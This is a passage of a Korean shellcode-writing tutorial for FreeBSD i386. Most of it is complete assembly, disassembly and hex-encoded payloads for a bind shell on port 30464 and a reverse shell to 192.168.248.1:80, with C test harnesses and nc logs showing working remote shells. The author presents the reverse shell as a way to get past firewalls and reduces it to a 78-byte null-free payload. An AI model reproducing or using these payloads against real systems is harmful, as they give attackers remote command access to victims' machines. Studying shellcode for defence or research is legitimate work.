pushl $0x10 leal 0x8(%esi), %ebx push %ebx push (%esi) call bind // bind(serv_sock, &serv_addr, 16); add $0xc, %esp pushl $0x1 push (%esi) call listen // listen(serv_sock, 1); add $0x8, %esp pushl $0x0 pushl $0x0 push (%esi) call accept // accept(serv_sock, 0, 0); mov %eax, 0x4(%esi) // clnt_sock 저장 add $0xc, %esp pushl $0x0 push 0x4(%esi) call dup2 // dup2(clnt_sock, 0); add $0x8, %esp pushl $0x1 push 0x4(%esi) call dup2 // dup2(clnt_sock, 1); add $0x8, %esp pushl $0x2 push 0x4(%esi) call dup2 // dup2(clnt_sock, 2); add $0x8, %esp fork: socket: movl $0x6e69622f, 0x18(%esi) movl $0x0068732f, 0x1c(%esi) leal 0x18(%esi), %ebx mov %ebx, 0x20(%esi) movl $0x0, 0x24(%esi) pushl $0x0 leal 0x24(%esi), %edx push %edx push %ebx call execve // execve( /bin/sh, sh, NULL); call exit // exit(); mov $0x2, %eax int $0x80 ret mov $0x61, %eax int $0x80 ret
bind: mov $0x68, %eax int $0x80 ret listen: mov $0x6a, %eax int $0x80 ret accept: mov $0x1e, %eax int $0x80 ret dup2: mov $0x5a, %eax int $0x80 ret execve: mov $0x3b, %eax int $0x80 ret exit: mov $0x1, %eax int $0x80 eoc: call start [graylynx@freebsd62 ~/work/bind_sh]$ 원래의 C 코드에서처럼우리는 serv_sock, clnt_sock 와 serv_addr 등의변수들을메모리공간에할당해줘야하는데, 위의쉘코드에서는코드의마지막주소를기준으로변수의값들을저장하도록했습니다. 아래그림은알아보기쉽게변수가사용하는메모리공간을나타낸것입니다. (+0x?? 는 pop %esi 이후, esi 레지스터를기준으로나타낸변수들의오프셋입니다 ) +0x0 +0x4 +0x8 +0xa +0xc +0x10 +0x18 +0x20 +0x24 serv_sock clnt_sock family port addr dummy /bin/sh *sh NULL bswap32() 와 bswap16() 함수는굳이함수로만들필요가없어서, 해당변수의오프셋에바로값을 대입했습니다. ( 밑의코드 ) movb $0x2, 0x9(%esi) // serv_addr.sin_family = AF_INET; movb $0x77, 0xa(%esi) // serv_addr.sin_port = htons(0x7700); dup2() 함수는파일디스크립터를복사하는함수로써, 0 ( 표준입력 ) / 1 ( 표준출력 ) / 2 ( 표준에러출력 ) 디스크립터와 clnt_sock 디스크립터를연결시켜주는역할을합니다.
문자열 /bin/sh 를메모리에쓸때 movl 을통해복사하는데인텔계열 cpu 는 little endian 을사용하므로, nib/ \x00hs/ 형식으로 4바이트단위로값을뒤집어서복사해야합니다. 자, 그럼만들어진쉘코드를컴파일한뒤, 16 진수로바꿔봅시다. [graylynx@freebsd62 ~/work/bind_sh]$ gcc bind_sh2.s -o bind_sh2 [graylynx@freebsd62 ~/work/bind_sh]$ objdump -d bind_sh2 0804848c <main>: 804848c: e8 a6 00 00 00 call 8048537 <fork> 8048491: 85 c0 test %eax,%eax 8048493: 0f 85 d6 00 00 00 jne 804856f <exit> 8048499: e8 d8 00 00 00 call 8048576 <eoc> 0804849e <start>: 804849e: 5e pop %esi 804849f: 6a 00 push $0x0 80484a1: 6a 01 push $0x1 80484a3: 6a 02 push $0x2 80484a5: e8 95 00 00 00 call 804853f <socket> 80484aa: 89 06 mov %eax,(%esi) 80484ac: 83 c4 0c add $0xc,%esp 80484af: c6 46 09 02 movb $0x2,0x9(%esi) 80484b3: c6 46 0a 77 movb $0x77,0xa(%esi) 80484b7: 6a 10 push $0x10 80484b9: 8d 5e 08 lea 0x8(%esi),%ebx 80484bc: 53 push %ebx 80484bd: ff 36 pushl (%esi) 80484bf: e8 83 00 00 00 call 8048547 <bind> 80484c4: 83 c4 0c add $0xc,%esp 80484c7: 6a 01 push $0x1 80484c9: ff 36 pushl (%esi) 80484cb: e8 7f 00 00 00 call 804854f <listen> 80484d0: 83 c4 08 add $0x8,%esp 80484d3: 6a 00 push $0x0 80484d5: 6a 00 push $0x0 80484d7: ff 36 pushl (%esi) 80484d9: e8 79 00 00 00 call 8048557 <accept> 80484de: 89 46 04 mov %eax,0x4(%esi) 80484e1: 83 c4 0c add $0xc,%esp 80484e4: 6a 00 push $0x0 80484e6: ff 76 04 pushl 0x4(%esi) 80484e9: e8 71 00 00 00 call 804855f <dup2> 80484ee: 83 c4 08 add $0x8,%esp 80484f1: 6a 01 push $0x1 80484f3: ff 76 04 pushl 0x4(%esi) 80484f6: e8 64 00 00 00 call 804855f <dup2> 80484fb: 83 c4 08 add $0x8,%esp 80484fe: 6a 02 push $0x2 8048500: ff 76 04 pushl 0x4(%esi)
8048503: e8 57 00 00 00 call 804855f <dup2> 8048508: 83 c4 08 add $0x8,%esp 804850b: c7 46 18 2f 62 69 6e movl $0x6e69622f,0x18(%esi) 8048512: c7 46 1c 2f 73 68 00 movl $0x68732f,0x1c(%esi) 8048519: 8d 5e 18 lea 0x18(%esi),%ebx 804851c: 89 5e 20 mov %ebx,0x20(%esi) 804851f: c7 46 24 00 00 00 00 movl $0x0,0x24(%esi) 8048526: 6a 00 push $0x0 8048528: 8d 56 24 lea 0x24(%esi),%edx 804852b: 52 push %edx 804852c: 53 push %ebx 804852d: e8 35 00 00 00 call 8048567 <execve> 8048532: e8 38 00 00 00 call 804856f <exit> 08048537 <fork>: 8048537: b8 02 00 00 00 mov $0x2,%eax 804853c: cd 80 int $0x80 804853e: c3 ret 0804853f <socket>: 804853f: b8 61 00 00 00 mov $0x61,%eax 8048544: cd 80 int $0x80 8048546: c3 ret 08048547 <bind>: 8048547: b8 68 00 00 00 mov $0x68,%eax 804854c: cd 80 int $0x80 804854e: c3 ret 0804854f <listen>: 804854f: b8 6a 00 00 00 mov $0x6a,%eax 8048554: cd 80 int $0x80 8048556: c3 ret 08048557 <accept>: 8048557: b8 1e 00 00 00 mov $0x1e,%eax 804855c: cd 80 int $0x80 804855e: c3 ret 0804855f <dup2>: 804855f: b8 5a 00 00 00 mov $0x5a,%eax 8048564: cd 80 int $0x80 8048566: c3 ret 08048567 <execve>: 8048567: b8 3b 00 00 00 mov $0x3b,%eax 804856c: cd 80 int $0x80 804856e: c3 ret 0804856f <exit>: 804856f: b8 01 00 00 00 mov $0x1,%eax 8048574: cd 80 int $0x80
08048576 <eoc>: 8048576: e8 23 ff ff ff call 804849e <start> 이제테스트를해봐야겠죠? [graylynx@freebsd62 ~/work/bind_sh]$ cat bind_op2.c char sh[] = " xe8 xa6 x00 x00 x00 x85 xc0 x0f x85 xd6 x00 x00 x00 xe8 xd8 x00 x00 x00" " x5e x6a x00 x6a x01 x6a x02 xe8 x95 x00 x00 x00 x89 x06 x83 xc4 x0c" " xc6 x46 x09 x02 xc6 x46 x0a x77 x6a x10 x8d x5e x08 x53 xff x36" " xe8 x83 x00 x00 x00 x83 xc4 x0c x6a x01 xff x36 xe8 x7f x00 x00 x00" " x83 xc4 x08 x6a x00 x6a x00 xff x36 xe8 x79 x00 x00 x00 x89 x46 x04" " x83 xc4 x0c x6a x00 xff x76 x04 xe8 x71 x00 x00 x00 x83 xc4 x08 x6a x01" " xff x76 x04 xe8 x64 x00 x00 x00 x83 xc4 x08 x6a x02 xff x76 x04" " xe8 x57 x00 x00 x00 x83 xc4 x08 xc7 x46 x18 x2f x62 x69 x6e" " xc7 x46 x1c x2f x73 x68 x00 x8d x5e x18 x89 x5e x20" " xc7 x46 x24 x00 x00 x00 x00 x6a x00 x8d x56 x24 x52 x53" " xe8 x35 x00 x00 x00 xe8 x38 x00 x00 x00 xb8 x02 x00 x00 x00 xcd x80 xc3" " xb8 x61 x00 x00 x00 xcd x80 xc3 xb8 x68 x00 x00 x00 xcd x80 xc3" " xb8 x6a x00 x00 x00 xcd x80 xc3 xb8 x1e x00 x00 x00 xcd x80 xc3" " xb8 x5a x00 x00 x00 xcd x80 xc3 xb8 x3b x00 x00 x00 xcd x80 xc3" " xb8 x01 x00 x00 x00 xcd x80 xe8 x23 xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { printf( Length = %d bytes n, sizeof(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/bind_sh]$ gcc bind_op2.c -o bind_op2 [graylynx@freebsd62 ~/work/bind_sh]$./bind_op2 Length = 280 bytes [graylynx@freebsd62 ~/work/bind_sh]$ netstat -an grep 30464 tcp4 0 0 *.30464 *.* LISTEN [graylynx@freebsd62 ~/work/bind_sh]$ ( 마지막부분에덧붙여진 40개의 0x00 은실제리모트공격시에는제거해도됩니다. 지금과같이로컬에서테스트할때는쉘코드뒤에여러쓰래기값들이따라오므로일부러초기화해주기위해넣은것입니다 ) 30464 번 (0x7700) 포트가열렸구요..
윈도우용 nc 를이용해서해당포트로접속해보도록하죠. C: Documents and Settings graylynx>nc 192.168.248.41 30464 ls -la total 324 drwxr-xr-x 2 graylynx graylynx 512 Jun 13 22:09. drwxr-xr-x 6 graylynx graylynx 512 Jun 13 16:06.. -rwxr-xr-x 1 graylynx graylynx 4901 Jun 13 22:09 bind_op2 -rw-rr 1 graylynx graylynx 1238 Jun 13 21:31 bind_op2.c -rwxr-xr-x 1 graylynx graylynx 142496 Jun 13 21:01 bind_sh -rw-rr 1 graylynx graylynx 616 Jun 13 21:01 bind_sh.c -rwxr-xr-x 1 graylynx graylynx 4928 Jun 13 22:03 bind_sh2 -rw-rr 1 graylynx graylynx 1266 Jun 13 22:03 bind_sh2.s uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) 제대로작동하는것을볼수있습니다. 하지만, 크기가무려 240 바이트나 (!) 되는군요. 거기다 0x00 도엄청많습니다. 이걸다없애줘야합니다. 가능하면크기도작게.. 다음쉘코는아래와같은작업을거쳐생성된것입니다. 1. 함수들의루틴을메인함수에직접포함 (call, ret) 절약 2. add $0x8, %esp 등의스택정리명령어들을없앰 3. 0x00 제거 [graylynx@freebsd62 ~/work/bind_sh]$ objdump -d bind_sh3 0804848c <main>: 804848c: 31 c0 xor %eax,%eax 804848e: 50 push %eax 804848f: b0 02 mov $0x2,%al 8048491: cd 80 int $0x80 8048493: 85 c0 test %eax,%eax 8048495: 74 49 je 80484e0 <jump> 8048497: 31 c0 xor %eax,%eax 8048499: b0 01 mov $0x1,%al 804849b: cd 80 int $0x80 0804849d <start>: 804849d: 5e pop %esi 804849e: 31 c0 xor %eax,%eax
80484a0: 50 push %eax 80484a1: 40 inc %eax 80484a2: 50 push %eax 80484a3: 40 inc %eax 80484a4: 50 push %eax 80484a5: 50 push %eax 80484a6: b0 61 mov $0x61,%al 80484a8: cd 80 int $0x80 80484aa: 89 06 mov %eax,(%esi) 80484ac: c6 46 09 02 movb $0x2,0x9(%esi) 80484b0: c6 46 0a 77 movb $0x77,0xa(%esi) 80484b4: 31 c0 xor %eax,%eax 80484b6: 83 c0 10 add $0x10,%eax 80484b9: 50 push %eax 80484ba: 8d 5e 08 lea 0x8(%esi),%ebx 80484bd: 53 push %ebx 80484be: ff 36 pushl (%esi) 80484c0: 50 push %eax 80484c1: b0 68 mov $0x68,%al 80484c3: cd 80 int $0x80 80484c5: 31 c0 xor %eax,%eax 80484c7: 40 inc %eax 80484c8: 50 push %eax 80484c9: ff 36 pushl (%esi) 80484cb: 50 push %eax 80484cc: b0 6a mov $0x6a,%al 80484ce: cd 80 int $0x80 80484d0: 31 c0 xor %eax,%eax 80484d2: 50 push %eax 80484d3: 50 push %eax 80484d4: ff 36 pushl (%esi) 80484d6: 50 push %eax 80484d7: b0 1e mov $0x1e,%al 80484d9: cd 80 int $0x80 80484db: 89 46 04 mov %eax,0x4(%esi) 80484de: eb 02 jmp 80484e2 <skip> 080484e0 <jump>: 80484e0: eb 4c jmp 804852e <eoc> 080484e2 <skip>: 80484e2: 31 c0 xor %eax,%eax 80484e4: 50 push %eax 80484e5: ff 76 04 pushl 0x4(%esi) 80484e8: 50 push %eax 80484e9: b0 5a mov $0x5a,%al 80484eb: cd 80 int $0x80 80484ed: 31 c0 xor %eax,%eax 80484ef: 40 inc %eax 80484f0: 50 push %eax 80484f1: ff 76 04 pushl 0x4(%esi) 80484f4: 50 push %eax 80484f5: b0 5a mov $0x5a,%al
80484f7: cd 80 int $0x80 80484f9: 31 c0 xor %eax,%eax 80484fb: 83 c0 02 add $0x2,%eax 80484fe: 50 push %eax 80484ff: ff 76 04 pushl 0x4(%esi) 8048502: 50 push %eax 8048503: b0 5a mov $0x5a,%al 8048505: cd 80 int $0x80 8048507: 31 c0 xor %eax,%eax 8048509: c7 46 18 2f 62 69 6e movl $0x6e69622f,0x18(%esi) 8048510: c7 46 1c 2f 73 68 ff movl $0xff68732f,0x1c(%esi) 8048517: 88 46 1f mov %al,0x1f(%esi) 804851a: 8d 5e 18 lea 0x18(%esi),%ebx 804851d: 89 5e 20 mov %ebx,0x20(%esi) 8048520: 88 46 24 mov %al,0x24(%esi) 8048523: 50 push %eax 8048524: 8d 56 24 lea 0x24(%esi),%edx 8048527: 52 push %edx 8048528: 53 push %ebx 8048529: 50 push %eax 804852a: b0 3b mov $0x3b,%al 804852c: cd 80 int $0x80 0804852e <eoc>: 804852e: e8 6a ff ff ff call 804849d <start> [graylynx@freebsd62 ~/work/bind_sh]$ cat bind_op3.c char sh[] = " x31 xc0 x50 xb0 x02 xcd x80 x85 xc0 x74 x49 x31 xc0 xb0 x01 xcd x80" " x5e x31 xc0 x50 x40 x50 x40 x50 x50 xb0 x61 xcd x80 x89 x06" " xc6 x46 x09 x02 xc6 x46 x0a x77 x31 xc0 x83 xc0 x10 x50 x8d x5e x08" " x53 xff x36 x50 xb0 x68 xcd x80 x31 xc0 x40 x50 xff x36 x50 xb0 x6a" " xcd x80 x31 xc0 x50 x50 xff x36 x50 xb0 x1e xcd x80 x89 x46 x04" " xeb x02 xeb x4c x31 xc0 x50 xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0" " x40 x50 xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0 x83 xc0 x02 x50" " xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0 xc7 x46 x18 x2f x62 x69 x6e" " xc7 x46 x1c x2f x73 x68 xff x88 x46 x1f x8d x5e x18 x89 x5e x20" " x88 x46 x24 x50 x8d x56 x24 x52 x53 x50 xb0 x3b xcd x80 xe8 x6a xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { } printf("length = %d n", sizeof(sh)); void(*shell)() = (void *)sh; shell();
[graylynx@freebsd62 ~/work/bind_sh]$ gcc bind_op3.c -o bind_op3 [graylynx@freebsd62 ~/work/bind_sh]$./bind_op3 Length = 208 [graylynx@freebsd62 ~/work/bind_sh]$ netstat -an grep 30464 tcp4 0 0 *.30464 *.* LISTEN [graylynx@freebsd62 ~/work/bind_sh]$ 이로써 0x00 이제거된 178 바이트짜리 Bind 쉘코드가만들어졌습니다. 다시한번말씀드리지만, 위의 0x00 코드들은로컬에서테스트하기위해덧붙여진것입니다. 실제쉘코드는그윗부분까지입니다. 하지만이렇게다이어트를해도메타스플로잇 (http://metasploit.com) 의 76 바이트라는섹쉬한 (?) 사이즈를자랑하는쉘코드에비하면, 턱없이뚱뚱합니다. 뭔가비법이있을법도한데요.. 다음에제작할 Reverse 쉘코드에그비법들을적용해보겠습니다. IV. Reverse 쉘코드이번쉘코드는네트워크방화벽에막혀있는목표를공략할때주로쓰입니다. Bind 쉘코드같은경우, 네거티브정책이설정된방화벽에서는공격이성공하여포트를연다해도허용된포트로가는패킷외에는모두차단되기때문에아무소용이없습니다. 하지만 Reverse 쉘코드는허용된포트를통하여 ( 주로 80번 ) 정상적인패킷인것처럼가장함으로써, 방화벽을우회할수있습니다. 공격자의컴퓨터에서는 nc l p 80 등의명령으로목표물의연결을기다리게되며, 목표물은 exploit 이성공했을시공격자의컴퓨터로접속한뒤, Bind 쉘코드처럼입출력에대한디스크립터를연결하게됩니다. 기능적으로는 Bind 쉘코드와거의비슷하기때문에약간만수정하면충분히우리가원하는바를이룰수있습니다. 우선 C 언어로작성해보도록하죠. [graylynx@freebsd62 ~/work/reverse_sh]$ cat reverse_sh.c #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define IP "192.168.248.1" #define PORT 80 int sock; struct sockaddr_in serv_addr; char *sh[2] = {"/bin/sh", NULL}; int main() { if(fork() == 0) { sock = socket(pf_inet, SOCK_STREAM, 0); serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(ip); serv_addr.sin_port = htons(port); connect(sock, (struct sockaddr*)&serv_addr, 16); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve(sh[0], sh, 0); } } [graylynx@freebsd62 ~/work/reverse_sh]$ [graylynx@freebsd62 ~/work/reverse_sh]$ gcc -static reverse_sh.c -o reverse_sh [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_sh [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname; id FreeBSD uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) 네.. 위와같이공격자의 80번포트로쉘을띄워주게됩니다. Bind 쉘코드에비해훨씬간단하므로다들쉽게만드실거라믿고, 자세한설명은코드로대신하겠습니다. connect() 함수 disas connect Dump of assembler code for function connect: 0x08049a20 <connect+0>: mov $0x62,%eax 0x08049a25 <connect+5>: int $0x80 0x08049a27 <connect+7>: jb 0x8049a18 <getprogname+12> 0x08049a29 <connect+9>: ret 0x08049a2a <connect+10>: nop 0x08049a2b <connect+11>: nop 0x08049a2c <connect+12>: jmp 0x8053100 <.cerror> 0x08049a31 <connect+17>: lea 0x0(%esi),%esi [graylynx@freebsd62 ~/work/reverse_sh]$ gcc -o reverse_sh2 reverse_sh2.s [graylynx@freebsd62 ~/work/reverse_sh]$ objdump -d reverse_sh2
0804848c <main>: 804848c: e8 8d 00 00 00 call 804851e <fork> 8048491: 85 c0 test %eax,%eax 8048493: 0f 85 ad 00 00 00 jne 8048546 <exit> 8048499: e8 af 00 00 00 call 804854d <eoc> 0804849e <start>: 804849e: 5e pop %esi 804849f: 6a 00 push $0x0 80484a1: 6a 01 push $0x1 80484a3: 6a 02 push $0x2 80484a5: e8 7c 00 00 00 call 8048526 <socket> 80484aa: 89 06 mov %eax,(%esi) 80484ac: 83 c4 0c add $0xc,%esp 80484af: c6 46 09 02 movb $0x2,0x9(%esi) 80484b3: c6 46 0b 50 movb $0x50,0xb(%esi) 80484b7: c7 46 0c c0 a8 f8 01 movl $0x1f8a8c0,0xc(%esi) 80484be: 6a 10 push $0x10 80484c0: 8d 5e 08 lea 0x8(%esi),%ebx 80484c3: 53 push %ebx 80484c4: ff 36 pushl (%esi) 80484c6: e8 63 00 00 00 call 804852e <connect> 80484cb: 83 c4 0c add $0xc,%esp 80484ce: 6a 00 push $0x0 80484d0: ff 36 pushl (%esi) 80484d2: e8 5f 00 00 00 call 8048536 <dup2> 80484d7: 83 c4 08 add $0x8,%esp 80484da: 6a 01 push $0x1 80484dc: ff 36 pushl (%esi) 80484de: e8 53 00 00 00 call 8048536 <dup2> 80484e3: 83 c4 08 add $0x8,%esp 80484e6: 6a 02 push $0x2 80484e8: ff 36 pushl (%esi) 80484ea: e8 47 00 00 00 call 8048536 <dup2> 80484ef: 83 c4 08 add $0x8,%esp 80484f2: c7 46 18 2f 62 69 6e movl $0x6e69622f,0x18(%esi) 80484f9: c7 46 1c 2f 73 68 00 movl $0x68732f,0x1c(%esi) 8048500: 8d 5e 18 lea 0x18(%esi),%ebx 8048503: 89 5e 20 mov %ebx,0x20(%esi) 8048506: c7 46 24 00 00 00 00 movl $0x0,0x24(%esi) 804850d: 6a 00 push $0x0 804850f: 8d 56 24 lea 0x24(%esi),%edx 8048512: 52 push %edx 8048513: 53 push %ebx 8048514: e8 25 00 00 00 call 804853e <execve> 8048519: e8 28 00 00 00 call 8048546 <exit> 0804851e <fork>: 804851e: b8 02 00 00 00 mov $0x2,%eax 8048523: cd 80 int $0x80 8048525: c3 ret 08048526 <socket>:
8048526: b8 61 00 00 00 mov $0x61,%eax 804852b: cd 80 int $0x80 804852d: c3 ret 0804852e <connect>: 804852e: b8 62 00 00 00 mov $0x62,%eax 8048533: cd 80 int $0x80 8048535: c3 ret 08048536 <dup2>: 8048536: b8 5a 00 00 00 mov $0x5a,%eax 804853b: cd 80 int $0x80 804853d: c3 ret 0804853e <execve>: 804853e: b8 3b 00 00 00 mov $0x3b,%eax 8048543: cd 80 int $0x80 8048545: c3 ret 08048546 <exit>: 8048546: b8 01 00 00 00 mov $0x1,%eax 804854b: cd 80 int $0x80 0804854d <eoc>: 804854d: e8 4c ff ff ff call 804849e <start> [graylynx@freebsd62 ~/work/reverse_sh]$ cat reverse_op2.c char sh[] = " xe8 x8d x00 x00 x00 x85 xc0 x0f x85 xad x00 x00 x00 xe8 xaf x00 x00 x00" " x5e x6a x00 x6a x01 x6a x02 xe8 x7c x00 x00 x00 x89 x06 x83 xc4 x0c" " xc6 x46 x09 x02 xc6 x46 x0b x50 xc7 x46 x0c xc0 xa8 xf8 x01 x6a x10" " x8d x5e x08 x53 xff x36 xe8 x63 x00 x00 x00 x83 xc4 x0c x6a x00 xff x36" " xe8 x5f x00 x00 x00 x83 xc4 x08 x6a x01 xff x36 xe8 x53 x00 x00 x00" " x83 xc4 x08 x6a x02 xff x36 xe8 x47 x00 x00 x00 x83 xc4 x08" " xc7 x46 x18 x2f x62 x69 x6e xc7 x46 x1c x2f x73 x68 x00 x8d x5e x18" " x89 x5e x20 xc7 x46 x24 x00 x00 x00 x00 x6a x00 x8d x56 x24 x52 x53" " xe8 x25 x00 x00 x00 xe8 x28 x00 x00 x00 xb8 x02 x00 x00 x00 xcd x80 xc3" " xb8 x61 x00 x00 x00 xcd x80 xc3 xb8 x62 x00 x00 x00 xcd x80 xc3" " xb8 x5a x00 x00 x00 xcd x80 xc3 xb8 x3b x00 x00 x00 xcd x80 xc3" " xb8 x01 x00 x00 x00 xcd x80 xe8 x4c xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { printf("length = %d bytes n", sizeof(sh)); void(*shell)() = (void *)sh;
shell(); } [graylynx@freebsd62 ~/work/reverse_sh]$ gcc reverse_op2.c -o reverse_op2 [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_op2 Length = 239 bytes [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname; id FreeBSD uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) netstat -an grep 192.168.248.1 tcp4 0 0 192.168.248.41.50111 192.168.248.1.80 ESTABLISHED tcp4 0 0 192.168.248.41.22 192.168.248.1.17620 ESTABLISHED tcp4 0 0 192.168.248.41.22 192.168.248.1.13109 ESTABLISHED 일단작동은하는군요 ^^ 하지만코드가너무크고, 0x00 이포함되어있습니다. 이번에는단순히 0x00 만제거하는게아니라, 최소한의명령어로작동가능한최적화된쉘코드를만들어봅시다. 위에서언급한메타스플로잇의쉘코드를보면, 최적화를위한다음과같은몇가지노하우가존재합니다. 1. 다양한레지스터를적극활용한다 2. 가능한스택을이용한다 ( 코드를이해하기에는불편해도작동만잘되면그만!) 3. 다양한 cpu 명령어를이용한다 (push, pop, cdq, xchg 등등..) 4. 오류처리를하지않는다 그럼, 우리의쉘코드에도저노하우를적용시켜보도록하죠. 다만, 최적화를위해서는원래코드의상당부분을새로작성할필요가있습니다. 따라서원래의코드와는달리상당히주관적인코드가될가능성이높습니다. 이글을읽으시는분들도이미나와있는쉘코드만분석하기보단자기만의개성이담긴쉘코드를작성해본다면공부에많은도움이될것입니다. 아래는제나름대로최적화해본 Reverse 쉘코드입니다. 기존 200 바이트가량의크기를자랑하던녀석을거의 1/3 수준으로줄였습니다. 어떻게그렇게줄일수있냐구요? 그이유는여러분의숙제로남겨드릴께요. ^^ [graylynx@freebsd62 ~/work/reverse_sh]$ objdump -d reverse_sh3 0804848c <main>: 804848c: 6a 61 push $0x61 804848e: 58 pop %eax 804848f: 99 cltd
8048490: 52 push %edx 8048491: 42 inc %edx 8048492: 52 push %edx 8048493: 42 inc %edx 8048494: 52 push %edx 8048495: 57 push %edi 8048496: cd 80 int $0x80 8048498: 93 xchg %eax,%ebx 8048499: 68 c0 a8 f8 01 push $0x1f8a8c0 804849e: b8 ff fd ff af mov $0xaffffdff,%eax 80484a3: f7 d8 neg %eax 80484a5: 50 push %eax 80484a6: 89 e2 mov %esp,%edx 80484a8: 6a 10 push $0x10 80484aa: 52 push %edx 80484ab: 53 push %ebx 80484ac: 57 push %edi 80484ad: 6a 62 push $0x62 80484af: 58 pop %eax 80484b0: cd 80 int $0x80 80484b2: 6a 02 push $0x2 80484b4: 59 pop %ecx 080484b5 <dup2>: 80484b5: 51 push %ecx 80484b6: 53 push %ebx 80484b7: 57 push %edi 80484b8: 6a 5a push $0x5a 80484ba: 58 pop %eax 80484bb: cd 80 int $0x80 80484bd: 49 dec %ecx 80484be: 79 f5 jns 80484b5 <dup2> 80484c0: 50 push %eax 80484c1: 68 2f 2f 73 68 push $0x68732f2f 80484c6: 68 2f 62 69 6e push $0x6e69622f 80484cb: 89 e2 mov %esp,%edx 80484cd: 50 push %eax 80484ce: 54 push %esp 80484cf: 52 push %edx 80484d0: 57 push %edi 80484d1: 6a 3b push $0x3b 80484d3: 58 pop %eax 80484d4: cd 80 int $0x80 [graylynx@freebsd62 ~/work/reverse_sh]$ cat reverse_op3.c char sh[] = " x6a x61 x58 x99 x52 x42 x52 x42 x52 x57 xcd x80 x93 x68 xc0 xa8 xf8 x01" " xb8 xff xfd xff xaf xf7 xd8 x50 x89 xe2 x6a x10 x52 x53 x57 x6a x62 x58" " xcd x80 x6a x02 x59 x51 x53 x57 x6a x5a x58 xcd x80 x49 x79 xf5 x50" " x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe2 x50 x54 x52 x57 x6a x3b"
" x58 xcd x80"; main() { printf("length = %d bytes n", sizeof(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/reverse_sh]$ gcc reverse_op3.c -o reverse_op3 [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_op3 Length = 78 bytes [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) netstat -an grep 192.168.248.1 tcp4 0 0 192.168.248.41.54759 192.168.248.1.80 ESTABLISHED tcp4 0 0 192.168.248.41.22 192.168.248.1.17620 ESTABLISHED tcp4 0 0 192.168.248.41.22 192.168.248.1.13109 ESTABLISHED ps -ef grep reverse_op3 ps: Process environment requires procfs(5) 15263 p0 S+ 0:00.00 grep reverse_op3 V. 참고자료 1. 이동우, Network Shellcode 만들기 2. 1ndr4, Execute Shellcode on the Mac OS X (Part 2) 3. 정진욱, START of HACKER 4. http://metasploit.com/shellcode/bsd/ia32/single_bind_tcp_shell.disasm 부족한글끝까지읽어주셔서감사합니다 :-)